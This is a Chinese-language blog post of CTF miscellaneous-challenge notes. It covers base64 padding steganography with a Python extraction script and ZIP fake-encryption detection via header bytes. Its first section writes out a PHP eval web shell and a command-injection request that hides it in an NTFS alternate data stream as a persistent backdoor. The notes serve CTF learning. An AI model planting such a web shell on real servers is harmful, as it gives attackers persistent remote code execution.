开启掘金成长之旅!这是我参与「掘金日新计划 · 12 月更文挑战」的第21天,点击查看活动详情
CTF MISC总结
0X1 PS一些细节点
1 NTFS数据流制作隐藏
使用NTFS数据流制作一个永久性后门 - 安全客 - 有思想的安全新媒体 (360.cn)
footer.php?shell=echo ^<?php eval($_REQUEST[‘6ack’]); >> config.php:6ack.php
<?php eval($_REQUEST['6ack']);
//9M310AzgXwhwbsB9qd/o4ic2Yo+iFJIlspQTRHTU6nZhw4fzZgzmJkYk5oRkWt9Rjgx/g2l+KjHhPNamPlHQtduRAtuQ5bYovk3l3MkKw0EbekEKrxCMkBRk+CSXWEEqUebYAxdgII/KCvJCK/v3Ow==
//AES密钥为利用此后门传递的一个参数
?>
2base64 隐写
import base64
import re
a=''
b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
with open('flag.txt','rb') as f:
txt=f.read().splitlines()
for each in txt:
wiredword=re.findall('(\w)={1,2}', each)
if wiredword:
stegoline=each
offset=b64chars.index(wiredword[0])
print (each,base64.b64encode(base64.b64decode(each)),bin(offset))
if '==' in stegoline:
a+=bin(offset)[-4:]
elif '=' in stegoline:
a += bin(offset)[-2:]
print (a)
print([chr(int(a[i:i + 8], 2)) for i in range(0, len(a), 8)])
['G', 'X', 'Y', '{', 'f', 'a', 'z', 'h', 'a', 'z', 'h', 'e', 'n', 'h', 'a', 'o', 't', 'i', 'n', 'g', '}', '\x00']
核心思想是base64隐写将信息写入了被补0的尾部,也就是字符串含有等号的前一个字母。
隐写字符串,'SW50ZW5hYmxlIGluc29tbmllLAp=',p=是用隐藏信息填充后获得的结果
解码并重新编码后的字符串,'SW50ZW5hYmxlIGluc29tbmllLAo=',o=是用0正常填充的后得到的结果
base64填充存在两种情况:
一个等号,填充了2个bit
两个等号,填充了4个bit
首先定位等号前字母在base64码表中的位置,将10进制的位置转为二进制,在一个等号下取后两位,在两个等号下取后四位,将所有取出的bit连接成字符串,并按每8位一组转为ascii码。
需要注意的是,即使解码再编码后的字符串和原字符串相等,也要把最后补充的bit信息(也称padding)提取出来 blog.csdn.net/amber_o0k/a…
0x2 压缩包相关
1 伪加密
winrar修复压缩包,zipCenOp也可
无加密 压缩源文件数据区的全局加密应当为00 00 且压缩源文件目录区的全局方式位标记应当为00 00
假加密 压缩源文件数据区的全局加密应当为00 00 且压缩源文件目录区的全局方式位标记应当为09 00
真加密 压缩源文件数据区的全局加密应当为09 00 且压缩源文件目录区的全局方式位标记应当为09 00
一格zip文件有三个部分组成:
压缩源文件数据区+压缩源文件目录区+压缩源文件目录结束标志 (详解链接)
压缩源文件数据区:
50 4B 03 04:这是头文件标记(0x04034b50)
14 00:解压文件所需 pkware 版本
00 00:全局方式位标记(有无加密)
08 00:压缩方式
5A 7E:最后修改文件时间
F7 46:最后修改文件日期
16 B5 80 14:CRC-32校验(1480B516)
19 00 00 00:压缩后尺寸(25)
17 00 00 00:未压缩尺寸(23)
07 00:文件名长度
00 00:扩展记录长度
压缩源文件目录区:
50 4B 01 02:目录中文件文件头标记(0x02014b50)
3F 00:压缩使用的 pkware 版本
14 00:解压文件所需 pkware 版本
00 00:全局方式位标记(有无加密,这个更改这里进行伪加密,改为09 00打开就会提示有密码了)
08 00:压缩方式
5A 7E:最后修改文件时间
F7 46:最后修改文件日期
16 B5 80 14:CRC-32校验(1480B516)
19 00 00 00:压缩后尺寸(25)
17 00 00 00:未压缩尺寸(23)
07 00:文件名长度
24 00:扩展字段长度
00 00:文件注释长度
00 00:磁盘开始号
00 00:内部文件属性
20 00 00 00:外部文件属性
00 00 00 00:局部头部偏移量
压缩源文件目录结束标志:
50 4B 05 06:目录结束标记
00 00:当前磁盘编号
00 00:目录区开始磁盘编号
01 00:本磁盘上纪录总数
01 00:目录区中纪录总数
59 00 00 00:目录区尺寸大小
3E 00 00 00:目录区对第一张磁盘的偏移量
00 00:ZIP 文件注释长度
这是三个头标记,主要看第二个
压缩源文件数据区:50 4B 03 04:这是头文件标记
压缩源文件目录区:
50 4B 01 02:目录中文件文件头标记
3F 00:压缩使用的 pkware 版本 14 00:解压文件所需 pkware 版本 00 00:全局方式位标记(有无加密,这个更改这里进行伪加密,改为09 00打开就会提示有密码了)
压缩源文件目录结束标志 :50 4B 05 06:目录结束标记
我们用winhex打开压缩包,搜索504B,点击第二个504B(压缩源文件目录区)
将全局方式位标记中的09改为00后,打开压缩包